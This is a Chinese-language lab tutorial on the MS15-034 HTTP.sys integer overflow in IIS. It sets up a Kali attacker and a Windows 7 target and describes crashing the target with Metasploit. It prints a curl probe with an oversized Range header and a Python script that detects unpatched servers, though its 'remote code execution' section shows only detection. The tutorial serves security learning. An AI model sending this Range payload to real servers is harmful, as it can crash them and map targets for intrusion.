目录

漏洞概述

HTTP.sys简介

漏洞成因

漏洞危害

影响版本

环境搭建

漏洞导致蓝屏演示

漏洞导致远程代码执行演示

漏洞探测

漏洞利用


漏洞概述

HTTP.sys简介

HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.sys。HTTP.sys远程代码执行漏洞实质是HTTP.sys的整数溢出漏洞

漏洞成因

远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞

漏洞危害

攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。

影响版本

任何安装了微软IIS 6.0以上的的

Windows 7、Windows Server 2008 R2、 Windows Server 2012 R2 、Windows Server 2012、Windows 8、2、Windows 8.1 系统

环境搭建

攻击机kali 192.168.159.151

靶机windws 7 192.168.159. 并且部署了IIS服务

首先就是下载好windows 7主机

测试连通性,无法ping通,关闭防火墙

然后再进行ping就可以看到ping成功了

 部署IIS服务:

浏览器访问:

可以看到IIS服务已经部署成功了

漏洞导致蓝屏演示

首先进入到msfconsole中

使用search查找MS15-034可以利用的payload

选择一个payload后查看需要配置的选项:

设置需要进行配置的选项:

再次查看靶机状态:

可以看到靶机已经蓝屏重启了

漏洞导致远程代码执行演示

漏洞探测

payload:

curl -v 192.168.159.252 -H "Host:irrelevant" -H "Range:bytes=0-18446744073709551615"

如果相应码为416则说明存在漏洞

可以看到响应码正是416,说明存在漏洞,下面就可以进行漏洞利用了

漏洞利用

使用python poc脚本进行测试:

import socket
import random
ipAddr = "192.168.159.252"
hexAllFfff = "18446744073709551615"
req1 = b"GET / HTTP/1.0\r\n\r\n"
req = b"GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff.encode() + b"\r\n\r\n"
print("[*] Audit Started")
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req1)
boringResp = client_socket.recv(1024)
if b"Microsoft" not in boringResp:
    print("[*] Not IIS")
    exit(0)
client_socket.close()
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req)
goodResp = client_socket.recv(1024)
if b"Requested Range Not Satisfiable" in goodResp:
    print("[!!] Rooo")
elif b" The request has an invalid header name" in goodResp:
    print("[*] Looks Patched")
else:
    print("[*] Unexpected response, cannot discern patch status")

可以看到成功利用 

Logo

技术共进,成长同行——讯飞AI开发者社区

更多推荐